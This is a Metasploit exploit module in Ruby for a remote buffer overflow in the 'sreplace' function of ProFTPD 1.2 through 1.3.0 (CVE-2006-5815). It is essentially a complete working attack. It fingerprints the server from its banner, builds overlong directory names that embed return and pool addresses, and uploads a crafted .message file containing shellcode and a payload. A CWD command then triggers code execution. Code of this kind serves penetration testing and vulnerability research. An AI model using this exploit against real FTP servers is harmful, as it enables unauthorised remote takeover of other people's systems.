ProFTPd 1.2 < 1.3.0 (Linux) - 'sreplace' Remote Buffer Overflow (Metasploit)
## # $Id: proftp_sreplace.rb 11526 2011-01-09 23:33:53Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)', 'Description' => %q{ This module exploits a stack-based buffer overflow in versions 1.2 through 1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function within the "src/support.c" file. The off-by-one heap overflow bug in the ProFTPD sreplace function has been discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit this off-by-one bug via MKD command, but failed. We did not work on this bug since then. Actually, there are exists at least two bugs in sreplace function, one is the mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow via 'sstrncpy(dst,src,negative argument)'. We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable version, but the version 1.3.0rc3 introduced some interesting changes, among them: 1. another (integer) overflow in sreplace! 2. now it is possible to reach sreplace stack-based buffer overflow bug via the "pr_display_file" function! 3. stupid '.message' file display bug So we decided to choose ProFTPD 1.3.0 as a target for our exploit. To reach the bug, you need to upload a specially created .message file to a writeable directory, then do "CWD <writeable directory>" to trigger the invocation of sreplace function. Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message' file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug. The exploit is a part of VulnDisco Pack since Dec 2005. }, 'Author' => [ 'Evgeny Legerov <admin [at] gleg.net>', # original .pm version (VulnDisco) 'jduck' # Metasploit 3.x port ], 'Version' => '$Revision: 11526 $', 'References' => [ [ 'CVE', '2006-5815' ], [ 'OSVDB', '68985' ], [ 'BID', '20992' ], [ 'URL', 'http://seclists.org/bugtraq/2006/Nov/94' ], [ 'URL', 'http://seclists.org/bugtraq/2006/Nov/538' ], [ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ], [ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependChrootBreak' => true }, 'Privileged' => true, 'Payload' => { 'Space' => 900, 'BadChars' => "\x00\x0a\x0d\x25", 'DisableNops' => 'True', }, 'Platform' => [ 'linux' ], 'Targets' => [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true } ], # # This special one comes first since we dont want its index changing. # [ 'Debug', { 'Ret' => 0x41414242, 'PoolAddr' => 0x43434545 } ], # # specific targets # [ "ProFTPD 1.3.0 (source install) / Debian 3.1", { # objdump -D proftpd|grep call|grep edx 'Ret' => 0x804afc8, # call edx # nm proftpd|grep permanent_pool 'PoolAddr' => 0x80b59f8 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 26 2006')) register_options( [ OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ]) ], self.class ) end def check # NOTE: We don't care if the login failed here... ret = connect # We just want the banner to check against our targets.. print_status("FTP Banner: #{banner.strip}") status = CheckCode::Safe if banner =~ /ProFTPD (1\.[23]\.[^ ])/i ver = $1 maj,min,rel = ver.split('.') relv = rel.slice!(0,1) case relv when '2' status = CheckCode::Vulnerable when '3' # 1.3.x before 1.3.1 is vulnerable status = CheckCode::Vulnerable if rel.length > 0 if rel.to_i > 0 status = CheckCode::Safe else status = CheckCode::Vulnerable end end end end disconnect return status end def exploit connect_login # Use a copy of the target mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else raise RuntimeError, "No matching target" end regexp = Regexp.escape(version) self.targets.each do |t| if (t.name =~ /#{regexp}/) then mytarget = t break end end if (not mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") if banner print_status("FTP Banner: #{banner.strip}") end end #puts "attach and press any key"; bleh = $stdin.gets res = send_cmd(['CWD', datastore['WRITABLE']]) pwd = send_cmd(['PWD']) if pwd !~ /257\s\"(.+)\"/ raise RuntimeError, "Unable to get current working directory" end pwd = $1 pwd << "/" if pwd[-1,1] != "/" dir1 = "A" * (251 - pwd.length) res = send_cmd(['MKD', dir1]) res = send_cmd(['CWD', dir1]) res = send_cmd(['PWD']) dir2 = "B" * 64 dir2 << [mytarget.ret].pack('V') dir2 << [mytarget['PoolAddr'] - 4].pack('V') dir2 << "\xcc" * 28 res = send_cmd(['DELE', "#{dir2}/.message"]) res = send_cmd(['DELE', "250"]) res = send_cmd(['RMD', dir2]) filedata = '' filedata << 'A' filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret filedata << "\x25C" * 11 filedata << 'A' filedata << payload.encoded filedata << rand_text_alphanumeric(900 - payload.encoded.length) filedata << "\x25\x43\x41" * 10 res = send_cmd(['MKD', dir2]) res = send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I') # Trigger sreplace overflow res = send_cmd(['CWD', dir2]) handler disconnect end end |